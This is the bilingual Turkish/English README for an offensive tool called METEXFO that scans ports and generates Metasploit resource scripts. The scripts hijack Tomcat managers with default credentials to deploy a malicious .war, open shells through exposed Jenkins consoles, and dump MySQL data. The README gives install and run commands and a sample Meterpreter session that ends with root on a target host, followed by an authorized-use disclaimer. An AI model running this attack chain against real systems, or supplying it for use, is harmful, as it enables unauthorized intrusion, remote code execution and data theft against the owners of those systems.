CODED BY GHOST0X02
.--------.
/ \
| __ __ |
| / \/ \ |
| |()||()| |
| \__/\\__/ |
| || |
| \_`=='_/ |
\ `----' /
'--------'
__ ___ ______ ______ ______ _ __ ______ ____
/ |/ / / ____/ /_ __/ / ____/ | |/ / / ____/ / __ \
/ /|_/ / / __/ / / / __/ | / / /_ / / / /
/ / / / / /___ / / / /___ / | / __/ / /_/ /
/_/ /_/ /_____/ /_/ /_____/ /_/|_| /_/ \____/ v1.2
VERSION 1.2 METEXFO - GHOST0X02
METEXFO v1.2, sızma testi süreçlerinde hedef sistemlerdeki yapılandırma hatalarını (Misconfigurations) ve açık yönetim panellerini tespit etmek için geliştirilmiş çift dilli, çoklu iş parçacıklı (Multi-threading) bir otomasyon aracıdır.
Yazılım şu adımlarla çalışır:
- Keşif (Nmap Altyapısı): Belirtilen hedeflerin kritik portlarını (
21, 80, 443, 3306, 8080) tarar ve çalışan servislerin versiyon bilgilerini ayıklar. - Eşleştirme: Bulunan servislere göre kendi yerleşik zafiyet veritabanını kontrol eder.
- Komut Hazırlığı: HEDEF SİSTEME yönelik en uygun Metasploit modüllerini otomatik olarak listeler ve bir
.rc(Resource) saldırı dosyası oluşturur.
- Apache Tomcat (Port 8080): Varsayılan şifreleri (
admin:admin,tomcat:tomcat) deneyerek yönetim panelini ele geçirir. Panele.waruzantılı bir dosya yükleyerek uzak kod çalıştırma (RCE) sağlar. - Jenkins Sunucusu (Port 80/443): Kimlik doğrulaması istemeyen veya açık unutulmuş otomasyon panellerini yakalar. Jenkins konsolu üzerinden doğrudan HEDEF SİSTEMİN komut satırına sızar.
- MySQL Veritabanı (Port 3306):
roothesabının şifresiz (boş parola) bırakıldığı senaryoları yakalar. Veritabanındaki tüm kullanıcı şifrelerini ve tabloları dışarı sızdırabilir.
# Kurulum ve Bağımlılıklar
git clone https://github.com/ghost0x02/metexfo
cd metexfo
pip3 install python-nmap colorama
# 1. Aşama: Keşif ve RC Dosyası Üretimi
python3 metexfo.py -t <HEDEF_IP> -l <KENDİ_IP> --lang tr
# 2. Aşama: Metasploit Üzerinde Çalıştırma
msfconsole -q -r metexfo.rcÜretilen .rc dosyası çalıştırıldığında HEDEF SİSTEM üzerinde sızma işlemi başarıyla gerçekleşirse, terminal ekranında açılacak olan Meterpreter oturumu şu şekilde olacaktır:
resource (metexfo_final_agent.rc)> use auxiliary/scanner/http/tomcat_mgr_login
resource (metexfo_final_agent.rc)> set RHOSTS 193.255.xxx.xxx
resource (metexfo_final_agent.rc)> set RPORT 8080
resource (metexfo_final_agent.rc)> run
[+] http://193.255.45 - Tomcat Manager LOGIN SUCCESSFUL: tomcat:tomcat
[*] Auxiliary module execution completed
[*] Upgrading session to exploit/multi/http/tomcat_mgr_deploy...
[*] Sending stage (175641 bytes) to 193.255.xxx.xxx
[+] Meterpreter session 1 opened (192.168.1.10:4444 -> 193.255.xxx.xxx:49231)
meterpreter > sysinfo
Computer : HEDEF-SISTEM-01
OS : Linux 5.15.0-72-generic (Ubuntu 22.04)
Architecture : x64
meterpreter > getuid
Server username: root
meterpreter > _
METEXFO v1.2 is a localized, multi-threaded security orchestrator designed to hunt down configuration flaws (Misconfigurations) and exposed management panels on target systems.
The automation pipeline operates as follows:
- Reconnaissance (Nmap Engine): Audits target IPs across critical ports (
21, 80, 443, 3306, 8080) to extract precise service details. - Matching: Correlates running services directly with its vulnerability database.
- Command Construction: Generates Metasploit resource macros (
.rc) tailored exactly to the TARGET SYSTEM.
- Apache Tomcat (Port 8080): Targets default manager credentials (
admin:admin,tomcat:tomcat). Enables Remote Code Execution (RCE) by deploying a malicious.wararchive. - Jenkins Orchestrator (Port 80/443): Detects unauthenticated automation setups. Leverages the built-in console to spawn system shells on the TARGET SYSTEM.
- MySQL Database (Port 3306): Checks for blank
rootadministration credentials. Allows total data exfiltration including password lists and tables.
# Clone & Requirements
git clone https://github.com/ghost0x02/metexfo
cd metexfo
pip3 install python-nmap colorama
# Phase 1: Recon & RC Blueprint Generation
python3 metexfo.py -t <TARGET_IP> -l <YOUR_LHOST> --lang en
# Phase 2: Fire the Automation via Metasploit
msfconsole -q -r metexfo_final_agent.rcWhen the compiled blueprint runs against the TARGET SYSTEM and compromises the host, your terminal will immediately lock into an active Meterpreter shell as simulated below:
resource (metexfo_final_agent.rc)> use auxiliary/scanner/http/tomcat_mgr_login
resource (metexfo_final_agent.rc)> set 193.255.xxx.xxx
resource (metexfo_final_agent.rc)> set RPORT 8080
resource (metexfo_final_agent.rc)> run
[+] http://193.255.45 - Tomcat Manager LOGIN SUCCESSFUL: tomcat:tomcat
[*] Auxiliary module execution completed
[*] Upgrading session to exploit/multi/http/tomcat_mgr_deploy...
[*] Sending stage (175641 bytes) to 193.255.xxx.xxx
[+] Meterpreter session 1 opened (192.168.1.10:4444 -> 193.255.xxx.xxx:49231)
meterpreter > sysinfo
Computer : TARGET-SYSTEM-01
OS : Linux 5.15.0-72-generic (Ubuntu 22.04)
Architecture : x64
meterpreter > getuid
Server username: root
meterpreter > _
TR: Bu araç yalnızca yasal sızma testleri ve eğitim faaliyetleri amacıyla geliştirilmiştir. İzin alınmamış hedef sistemler üzerinde kullanılması yasal sorumluluk doğurabilir. Kullanıcı, aracın kullanımından doğabilecek tüm hukuki sonuçlardan kendisi sorumludur.
EN: This software is strictly developed for authorized penetration testing, security auditing, and educational practices. Unauthorized deployment against remote infrastructure is highly illegal and carries strict judicial consequences.
Developer: GHOST0X02 | Version: 1.2-Elite